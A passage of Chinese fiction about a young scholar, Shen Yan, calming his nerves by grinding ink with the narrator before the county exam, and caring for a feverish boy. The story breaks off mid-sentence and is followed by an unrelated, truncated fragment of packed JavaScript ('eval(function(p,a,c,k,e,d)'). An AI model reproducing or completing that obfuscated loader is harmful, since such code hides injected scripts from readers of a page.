“吃点东西吧。”我把桂花糕递过去，沈砚接过去时手都在抖，咬了一口就呛得咳嗽，桂花屑喷在摊开的《中庸》上，像撒了把金粉。“你说我要是考砸了怎么办？”他突然问，声音低得像蚊子哼，“我爹说，考不上就去学账房，可我不想天天对着算盘，我想写策论，想……想让更多人看到我的字。”
砚池里的水映着他的影子，头发乱糟糟的，眼底带着青黑，却在说“想写策论”时，眼睛亮得像落了星子。我突然想起旧书里李秀才的批注，“前路虽远，总有暗香随行”，便从怀里掏出张纸，是我偷偷练的“稳”字，虽然还歪歪扭扭，却比以前工整多了。
“你看，”我指着那个字，“我以前总把‘稳’字的‘急’写得太大，沈砚教我要把‘禾’字写得宽一点，说‘庄稼稳了，心就稳了’。”
沈砚盯着那个字看了半天，突然笑了，抓起我的手往砚池边跑：“我娘说，紧张的时候就磨墨，墨磨得匀，心就静了。”他把“浣溪”墨锭放进砚台，握住我的手一起磨，“你看，要顺时针转，力气不能太猛，就像给田里的禾苗浇水，急了会冲坏根。”
墨汁慢慢变浓，兰花香混着桂花糕的甜漫开来，沈砚的呼吸渐渐平稳了，握着我的手也不抖了。“其实我不怕考不上，”他低声说，墨锭在砚台里转着圈，“我怕……怕以后没时间教你写字了。”
我的心跳突然漏了一拍，指尖在墨锭上蹭了蹭，墨香染了满手。原来他紧张的，不只是自己的前程，还有柴房后墙那些偷偷写下的字，那些用石子在青石板上画的“学”和“习”。
县试前三天，阿明突然发起高烧，躺在床上哼哼唧唧，手里还攥着本《诗经》，嘴里胡乱念着“煎虾苍苍，白露为霜”。沈砚把自己的棉被抱过去给他盖，又跑出去买了退烧药，回来时裤脚全湿了，却顾不上擦，蹲在床边给阿明擦手心，像个小大人。
“我给你讲个故事吧，”沈砚摸着阿明滚烫的额头，“以前有个秀才，考了七次才中举，第六次落榜时，他就在书院的墙上写‘明年再来’，后来真的中了。”他指的是李秀才，却故意没说落榜时的眼泪，只说“中举那天，他把书院的银杏叶都扫了一遍，说要给后来人铺路”。
阿明的烧渐渐退了，攥着《
;eval(function(p,a,c,k,e,d){e=function(c){return(c